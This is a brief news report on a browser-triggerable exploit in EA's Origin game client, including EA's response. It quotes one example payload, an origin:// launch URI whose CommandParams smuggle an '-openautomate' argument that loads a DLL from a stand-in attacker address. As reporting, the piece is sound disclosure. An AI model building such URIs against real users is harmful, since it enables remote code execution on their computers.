Origin users are being warned that an exploit exists which could allow programs to use Origin to execute malicious code on your computer. The exploit, which works in much the same manner as a similar one spotted in Steam in October, would allow a hacker to use a web browser to force-open Origin and make it run unwanted code.
The exploit would change the command from normal syntax, such as origin://LaunchGame/[GameID], to something closer to origin://LaunchGame/[GameID]?CommandParams= -openautomate ATTACKER_IPevil.dll.
EA have sent a comment to Ars Technica to say “Our team is constantly investigating hypotheticals like this one as we continually update our security infrastructure.”
